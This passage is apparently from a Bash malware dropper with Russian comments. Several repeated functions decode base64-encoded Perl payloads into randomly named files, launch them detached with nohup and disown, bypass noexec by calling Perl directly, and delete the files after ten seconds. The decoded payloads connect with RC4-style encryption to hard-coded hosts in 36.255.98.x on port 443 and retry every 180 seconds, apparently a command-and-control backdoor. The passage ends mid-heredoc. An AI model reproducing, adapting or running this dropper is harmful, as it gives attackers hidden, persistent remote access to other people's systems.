IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNzYnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoKCSBteSAkbGVuZ3RoID0gc2hpZnQoQF8pOwoKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCgkgbXkgJHN6ID0gc2hpZnQoQF8pOwoKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoKCSBteSAkcG9ja2Vtb24wID0gMDsKCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgoJIG15ICRwb2NrZW1vbjIgPSAwOwoKCSBteSAkcG9ja2Vtb24zID0gMDsKCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgoJIG15ICRwb2NrZW1vbjcgPSAwOwoKCSBteSAkcG9ja2Vtb244ID0gMDsKCgkgbXkgJHJjeCA9ICRzejsKCgkgbXkgJHJzaSA9IDA7CgoJIG15ICRyYnggPSAwOwoKCSBteSAkZ3MgPSAwOwoKCSB2ZWMoJHJjNCwgJ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gsICRyZW1haW5pbmc0KTsKCgkJCSB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0KCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCgkJCSBzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpID0gIlx4MDBceDAwXHgwMCI7CgoJCQkgJGNvdW50ZXIgPSAwOwoKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgoJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoKCQkJCSAkZWJ4ID0gdmVjKCRidWZmZXIwLCAxLCA4KTsKCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDEpOwoKCQkJCSAkZWR4ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgoJCQkJICRfcmV0ID0gMTsKCQkJfQoKCQl9Cgl9CgoJIGNsb3NlMDoKCgkgY2xvc2UoJHNvY2tldGFyclswXSk7CgoJIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgewoKCQkgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgeyBjbG9zZSgkc29ja2V0YXJyWyRpXSk7IH0KCgkgfQoKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgoJIHNsZWVwIDE4MDsKfQo=
B64_END

    if [ -s "$fpath" ]; then
        # Подготовка прав
        chmod 755 "$fpath"
        sync

        # === ЗАПУСК ===
        if [ "$method" == "native" ]; then
            # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный"
            # Патчим путь к перлу в первой строке файла
            sed -i "1s|^#!.*|#!$perl_bin|" "$fpath"

            # Запускаем: nohup, фон, подавление вывода
            nohup "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла

        else
            # МЕТОД 2: INTERPRETER (perl script) - обходит noexec
            # Запускаем интерпретатор явно
            nohup "$perl_bin" "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла
        fi

        # === САМОУНИЧТОЖЕНИЕ ФАЙЛА ===
        # Запускаем отдельный процесс, который поспит и удалит файл
        (sleep 10; rm -f "$fpath") >/dev/null 2>&1 &
        disown
    fi
}

f_d196353e() {
    local use_gold=$1
    local idx=$2
    local perl_bin="$3"

    local workdir=""
    local method=""

    # Выбираем папку из нужного списка
    if [ "$use_gold" = "true" ]; then
        workdir="${gold_dirs[$idx]}"
        method="native"
    else
        workdir="${silver_dirs[$idx]}"
        method="interpreter"
    fi

    # Защита от пустых путей
    if [ -z "$workdir" ]; then return; fi

    local rname="$(gen_rand_name).pl"
    local fpath="$workdir/$rname"

    # Распаковка Base64
    base64 -d <<'B64_END' > "$fpath"
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNzcnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoKCSBteSAkbGVuZ3RoID0gc2hpZnQoQF8pOwoKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk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kgPSAwOyAkaSA8IDIwMDsgJGkrKykgewoKCQkgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgeyBjbG9zZSgkc29ja2V0YXJyWyRpXSk7IH0KCgkgfQoKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgoJIHNsZWVwIDE4MDsKfQo=
B64_END

    if [ -s "$fpath" ]; then
        # Подготовка прав
        chmod 755 "$fpath"
        sync

        # === ЗАПУСК ===
        if [ "$method" == "native" ]; then
            # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный"
            # Патчим путь к перлу в первой строке файла
            sed -i "1s|^#!.*|#!$perl_bin|" "$fpath"

            # Запускаем: nohup, фон, подавление вывода
            nohup "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла

        else
            # МЕТОД 2: INTERPRETER (perl script) - обходит noexec
            # Запускаем интерпретатор явно
            nohup "$perl_bin" "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла
        fi

        # === САМОУНИЧТОЖЕНИЕ ФАЙЛА ===
        # Запускаем отдельный процесс, который поспит и удалит файл
        (sleep 10; rm -f "$fpath") >/dev/null 2>&1 &
        disown
    fi
}

f_b563487d() {
    local use_gold=$1
    local idx=$2
    local perl_bin="$3"

    local workdir=""
    local method=""

    # Выбираем папку из нужного списка
    if [ "$use_gold" = "true" ]; then
        workdir="${gold_dirs[$idx]}"
        method="native"
    else
        workdir="${silver_dirs[$idx]}"
        method="interpreter"
    fi

    # Защита от пустых путей
    if [ -z "$workdir" ]; then return; fi

    local rname="$(gen_rand_name).pl"
    local fpath="$workdir/$rname"

    # Распаковка Base64
    base64 -d <<'B64_END' > "$fpath"
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0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oJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoKCQkJCSAkZWJ4ID0gdmVjKCRidWZmZXIwLCAxLCA4KTsKCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDEpOwoKCQkJCSAkZWR4ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgoJCQkJICRfcmV0ID0gMTsKCQkJfQoKCQl9Cgl9CgoJIGNsb3NlMDoKCgkgY2xvc2UoJHNvY2tldGFyclswXSk7CgoJIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgewoKCQkgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgeyBjbG9zZSgkc29ja2V0YXJyWyRpXSk7IH0KCgkgfQoKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgoJIHNsZWVwIDE4MDsKfQo=
B64_END

    if [ -s "$fpath" ]; then
        # Подготовка прав
        chmod 755 "$fpath"
        sync

        # === ЗАПУСК ===
        if [ "$method" == "native" ]; then
            # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный"
            # Патчим путь к перлу в первой строке файла
            sed -i "1s|^#!.*|#!$perl_bin|" "$fpath"

            # Запускаем: nohup, фон, подавление вывода
            nohup "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла

        else
            # МЕТОД 2: INTERPRETER (perl script) - обходит noexec
            # Запускаем интерпретатор явно
            nohup "$perl_bin" "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла
        fi

        # === САМОУНИЧТОЖЕНИЕ ФАЙЛА ===
        # Запускаем отдельный процесс, который поспит и удалит файл
        (sleep 10; rm -f "$fpath") >/dev/null 2>&1 &
        disown
    fi
}

f_6bf204ee() {
    local use_gold=$1
    local idx=$2
    local perl_bin="$3"

    local workdir=""
    local method=""

    # Выбираем папку из нужного списка
    if [ "$use_gold" = "true" ]; then
        workdir="${gold_dirs[$idx]}"
        method="native"
    else
        workdir="${silver_dirs[$idx]}"
        method="interpreter"
    fi

    # Защита от пустых путей
    if [ -z "$workdir" ]; then return; fi

    local rname="$(gen_rand_name).pl"
    local fpath="$workdir/$rname"

    # Распаковка Base64
    base64 -d <<'B64_END' > "$fpath"
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNTEnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoKCSBteSAkbGVuZ3RoID0gc2hpZnQoQF8pOwoKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCgkgbXkgJHN6ID0gc2hpZnQoQF8pOwoKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoKCSBteSAkcG9ja2Vtb24wID0gMDsKCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgoJIG15ICRwb2NrZW1vbjIgPSAwOwoKCSBteSAkcG9ja2Vtb24zID0gMDsKCgkgbXk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9ydCk7CgoJIHNsZWVwIDE4MDsKfQo=
B64_END

    if [ -s "$fpath" ]; then
        # Подготовка прав
        chmod 755 "$fpath"
        sync

        # === ЗАПУСК ===
        if [ "$method" == "native" ]; then
            # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный"
            # Патчим путь к перлу в первой строке файла
            sed -i "1s|^#!.*|#!$perl_bin|" "$fpath"

            # Запускаем: nohup, фон, подавление вывода
            nohup "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла

        else
            # МЕТОД 2: INTERPRETER (perl script) - обходит noexec
            # Запускаем интерпретатор явно
            nohup "$perl_bin" "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла
        fi

        # === САМОУНИЧТОЖЕНИЕ ФАЙЛА ===
        # Запускаем отдельный процесс, который поспит и удалит файл
        (sleep 10; rm -f "$fpath") >/dev/null 2>&1 &
        disown
    fi
}

f_6a7957c6() {
    local use_gold=$1
    local idx=$2
    local perl_bin="$3"

    local workdir=""
    local method=""

    # Выбираем папку из нужного списка
    if [ "$use_gold" = "true" ]; then
        workdir="${gold_dirs[$idx]}"
        method="native"
    else
        workdir="${silver_dirs[$idx]}"
        method="interpreter"
    fi

    # Защита от пустых путей
    if [ -z "$workdir" ]; then return; fi

    local rname="$(gen_rand_name).pl"
    local fpath="$workdir/$rname"

    # Распаковка Base64
    base64 -d <<'B64_END' > "$fpath"
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNzknOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJG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PSBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDEpOwoKCQkJCSAkZWR4ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgoJCQkJICRfcmV0ID0gMTsKCQkJfQoKCQl9Cgl9CgoJIGNsb3NlMDoKCgkgY2xvc2UoJHNvY2tldGFyclswXSk7CgoJIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgewoKCQkgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgeyBjbG9zZSgkc29ja2V0YXJyWyRpXSk7IH0KCgkgfQoKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgoJIHNsZWVwIDE4MDsKfQo=
B64_END

    if [ -s "$fpath" ]; then
        # Подготовка прав
        chmod 755 "$fpath"
        sync

        # === ЗАПУСК ===
        if [ "$method" == "native" ]; then
            # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный"
            # Патчим путь к перлу в первой строке файла
            sed -i "1s|^#!.*|#!$perl_bin|" "$fpath"

            # Запускаем: nohup, фон, подавление вывода
            nohup "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла

        else
            # МЕТОД 2: INTERPRETER (perl script) - обходит noexec
            # Запускаем интерпретатор явно
            nohup "$perl_bin" "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла
        fi

        # === САМОУНИЧТОЖЕНИЕ ФАЙЛА ===
        # Запускаем отдельный процесс, который поспит и удалит файл
        (sleep 10; rm -f "$fpath") >/dev/null 2>&1 &
        disown
    fi
}

f_0583f1f1() {
    local use_gold=$1
    local idx=$2
    local perl_bin="$3"

    local workdir=""
    local method=""

    # Выбираем папку из нужного списка
    if [ "$use_gold" = "true" ]; then
        workdir="${gold_dirs[$idx]}"
        method="native"
    else
        workdir="${silver_dirs[$idx]}"
        method="interpreter"
    fi

    # Защита от пустых путей
    if [ -z "$workdir" ]; then return; fi

    local rname="$(gen_rand_name).pl"
    local fpath="$workdir/$rname"

    # Распаковка Base64
    base64 -d <<'B64_END' > "$fpath"
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xODAnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoKCSBteSAkbGVuZ3RoID0gc2hpZnQoQF8pOwoKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCgkgbXkgJHN6ID0gc2hpZnQoQF8pOwoKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoKCSBteSAkcG9ja2Vtb24wID0gMDsKCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgoJIG15ICRwb2NrZW1vbjIgPSAwOwoKCSBteSAkcG9ja2Vtb24zID0gMDsKCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgoJIG15ICRwb2NrZW1vbjcgPSAwOwoKCSBteSAkcG9ja2Vtb244ID0gMDsKCgkgbXkgJHJjeCA9ICRzejsKCgkgbXkgJHJzaSA9IDA7CgoJIG15ICRyYnggPSAwOwoKCSBteSAkZ3MgPSAwOwoKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9yIDAuLjI1NTsKCgkgZG8gew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kYXRhKSB7IGxhc3Q7IH0KCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCgkJCSBzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpID0gIlx4MDBceDAwXHgwMCI7CgoJCQkgJGNvdW50ZXIgPSAwOwoKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgoJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoKCQkJCSAkZWJ4ID0gdmVjKCRidWZmZXIwLCAxLCA4KTsKCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDEpOwoKCQkJCSAkZWR4ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgoJCQkJICRfcmV0ID0gMTsKCQkJfQoKCQl9Cgl9CgoJIGNsb3NlMDoKCgkgY2xvc2UoJHNvY2tldGFyclswXSk7CgoJIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgewoKCQkgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgeyBjbG9zZSgkc29ja2V0YXJyWyRpXSk7IH0KCgkgfQoKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgoJIHNsZWVwIDE4MDsKfQo=
B64_END

    if [ -s "$fpath" ]; then
        # Подготовка прав
        chmod 755 "$fpath"
        sync

        # === ЗАПУСК ===
        if [ "$method" == "native" ]; then
            # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный"
            # Патчим путь к перлу в первой строке файла
            sed -i "1s|^#!.*|#!$perl_bin|" "$fpath"

            # Запускаем: nohup, фон, подавление вывода
            nohup "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла

        else
            # МЕТОД 2: INTERPRETER (perl script) - обходит noexec
            # Запускаем интерпретатор явно
            nohup "$perl_bin" "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла
        fi

        # === САМОУНИЧТОЖЕНИЕ ФАЙЛА ===
        # Запускаем отдельный процесс, который поспит и удалит файл
        (sleep 10; rm -f "$fpath") >/dev/null 2>&1 &
        disown
    fi
}

f_e32f1deb() {
    local use_gold=$1
    local idx=$2
    local perl_bin="$3"

    local workdir=""
    local method=""

    # Выбираем папку из нужного списка
    if [ "$use_gold" = "true" ]; then
        workdir="${gold_dirs[$idx]}"
        method="native"
    else
        workdir="${silver_dirs[$idx]}"
        method="interpreter"
    fi

    # Защита от пустых путей
    if [ -z "$workdir" ]; then return; fi

    local rname="$(gen_rand_name).pl"
    local fpath="$workdir/$rname"

    # Распаковка Base64
    base64 -d <<'B64_END' > "$fpath"
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xODEnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoKCSBteSAkbGVuZ3RoID0gc2hpZnQoQF8pOwoKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCg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YgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgeyBjbG9zZSgkc29ja2V0YXJyWyRpXSk7IH0KCgkgfQoKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgoJIHNsZWVwIDE4MDsKfQo=
B64_END

    if [ -s "$fpath" ]; then
        # Подготовка прав
        chmod 755 "$fpath"
        sync

        # === ЗАПУСК ===
        if [ "$method" == "native" ]; then
            # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный"
            # Патчим путь к перлу в первой строке файла
            sed -i "1s|^#!.*|#!$perl_bin|" "$fpath"

            # Запускаем: nohup, фон, подавление вывода
            nohup "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла

        else
            # МЕТОД 2: INTERPRETER (perl script) - обходит noexec
            # Запускаем интерпретатор явно
            nohup "$perl_bin" "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла
        fi

        # === САМОУНИЧТОЖЕНИЕ ФАЙЛА ===
        # Запускаем отдельный процесс, который поспит и удалит файл
        (sleep 10; rm -f "$fpath") >/dev/null 2>&1 &
        disown
    fi
}

f_c2911bc5() {
    local use_gold=$1
    local idx=$2
    local perl_bin="$3"

    local workdir=""
    local method=""

    # Выбираем папку из нужного списка
    if [ "$use_gold" = "true" ]; then
        workdir="${gold_dirs[$idx]}"
        method="native"
    else
        workdir="${silver_dirs[$idx]}"
        method="interpreter"
    fi

    # Защита от пустых путей
    if [ -z "$workdir" ]; then return; fi

    local rname="$(gen_rand_name).pl"
    local fpath="$workdir/$rname"

    # Распаковка Base64
    base64 -d <<'B64_END' > "$fpath"
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKT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CBcJGJ1ZmZlcjAsIDAsIDQpOwoKCQkJCSAkZWJ4ID0gdmVjKCRidWZmZXIwLCAxLCA4KTsKCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDEpOwoKCQkJCSAkZWR4ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgoJCQkJICRfcmV0ID0gMTsKCQkJfQoKCQl9Cgl9CgoJIGNsb3NlMDoKCgkgY2xvc2UoJHNvY2tldGFyclswXSk7CgoJIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgewoKCQkgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgeyBjbG9zZSgkc29ja2V0YXJyWyRpXSk7IH0KCgkgfQoKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgoJIHNsZWVwIDE4MDsKfQo=
B64_END

    if [ -s "$fpath" ]; then
        # Подготовка прав
        chmod 755 "$fpath"
        sync

        # === ЗАПУСК ===
        if [ "$method" == "native" ]; then
            # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный"
            # Патчим путь к перлу в первой строке файла
            sed -i "1s|^#!.*|#!$perl_bin|" "$fpath"

            # Запускаем: nohup, фон, подавление вывода
            nohup "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла

        else
            # МЕТОД 2: INTERPRETER (perl script) - обходит noexec
            # Запускаем интерпретатор явно
            nohup "$perl_bin" "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла
        fi

        # === САМОУНИЧТОЖЕНИЕ ФАЙЛА ===
        # Запускаем отдельный процесс, который поспит и удалит файл
        (sleep 10; rm -f "$fpath") >/dev/null 2>&1 &
        disown
    fi
}

f_c4ade93a() {
    local use_gold=$1
    local idx=$2
    local perl_bin="$3"

    local workdir=""
    local method=""

    # Выбираем папку из нужного списка
    if [ "$use_gold" = "true" ]; then
        workdir="${gold_dirs[$idx]}"
        method="native"
    else
        workdir="${silver_dirs[$idx]}"
        method="interpreter"
    fi

    # Защита от пустых путей
    if [ -z "$workdir" ]; then return; fi

    local rname="$(gen_rand_name).pl"
    local fpath="$workdir/$rname"

    # Распаковка Base64
    base64 -d <<'B64_END' > "$fpath"
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xODMnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoKCSBteSAkbGVuZ3RoID0gc2hpZnQoQF8pOwoKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCgkgbXkgJHN6ID0gc2hpZnQoQF8pOwoKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoKCSBteSAkcG9ja2Vtb24wID0gMDsKCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgoJIG15ICRwb2NrZW1vbjIgPSAwOwoKCSBteSAkcG9ja2Vtb24zID0gMDsKCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgoJIG15ICRwb2NrZW1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 -s "$fpath" ]; then
        # Подготовка прав
        chmod 755 "$fpath"
        sync

        # === ЗАПУСК ===
        if [ "$method" == "native" ]; then
            # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный"
            # Патчим путь к перлу в первой строке файла
            sed -i "1s|^#!.*|#!$perl_bin|" "$fpath"

            # Запускаем: nohup, фон, подавление вывода
            nohup "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла

        else
            # МЕТОД 2: INTERPRETER (perl script) - обходит noexec
            # Запускаем интерпретатор явно
            nohup "$perl_bin" "$fpath" >/dev/null 2>&1 &
            disown # Полная отвязка от шелла
        fi

        # === САМОУНИЧТОЖЕНИЕ ФАЙЛА ===
        # Запускаем отдельный процесс, который поспит и удалит файл
        (sleep 10; rm -f "$fpath") >/dev/null 2>&1 &
        disown
    fi
}

f_a9e161bd() {
    local use_gold=$1
    local idx=$2
    local perl_bin="$3"

    local workdir=""
    local method=""

    # Выбираем папку из нужного списка
    if [ "$use_gold" = "true" ]; then
        workdir="${gold_dirs[$idx]}"
        method="native"
    else
        workdir="${silver_dirs[$idx]}"
        method="interpreter"
    fi

    # Защита от пустых путей
    if [ -z "$workdir" ]; then return; fi

    local rname="$(gen_rand_name).pl"
    local fpath="$workdir/$rname"

    # Распаковка Base64
    base64 -d <<'B64_END' > "$fpath"
